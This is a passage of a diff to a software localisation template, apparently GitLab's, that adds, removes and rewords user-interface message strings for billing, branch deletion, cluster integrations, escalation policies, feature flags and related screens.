msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3382,6 +3436,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3595,6 +3652,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3688,9 +3748,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3760,7 +3817,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4237,6 +4294,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4267,16 +4327,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4858,7 +4915,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4927,6 +4984,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5083,6 +5143,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5101,6 +5164,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5116,6 +5182,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5134,6 +5203,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5149,6 +5221,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5161,6 +5254,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5170,6 +5266,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5401,6 +5503,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5413,6 +5518,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5422,6 +5530,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5443,12 +5557,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5482,6 +5602,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5494,6 +5617,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5563,6 +5698,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5575,9 +5713,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5644,9 +5788,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5695,15 +5836,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5713,6 +5854,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6406,7 +6550,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6790,72 +6934,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7018,6 +7096,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7060,12 +7144,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7228,6 +7306,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7312,9 +7393,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7375,7 +7453,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7471,9 +7549,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7486,9 +7561,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7585,9 +7657,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7726,9 +7795,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7741,9 +7807,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8017,6 +8080,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8161,6 +8233,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8299,9 +8374,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8422,6 +8494,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8485,6 +8560,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8644,6 +8722,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9325,9 +9406,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9358,9 +9436,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9412,6 +9487,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9463,6 +9541,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9496,6 +9577,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9823,27 +9907,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10066,9 +10129,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10288,9 +10357,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10657,6 +10723,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11380,22 +11449,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11404,6 +11479,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11431,6 +11509,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11452,6 +11533,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11464,21 +11548,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11545,15 +11641,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11581,6 +11677,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11809,7 +11908,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11824,6 +11923,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11833,9 +11950,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11950,9 +12064,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12007,6 +12118,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12136,13 +12250,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12220,6 +12334,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12265,9 +12382,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12289,9 +12403,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12961,9 +13072,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12976,12 +13084,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13090,6 +13204,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13151,7 +13313,10 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13795,6 +13960,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13819,9 +13987,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13849,9 +14014,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13870,9 +14032,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13915,9 +14074,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13933,7 +14089,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14185,6 +14341,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14290,6 +14455,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14308,6 +14476,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14335,6 +14506,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14602,6 +14782,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14629,6 +14812,9 @@ msgstr ""
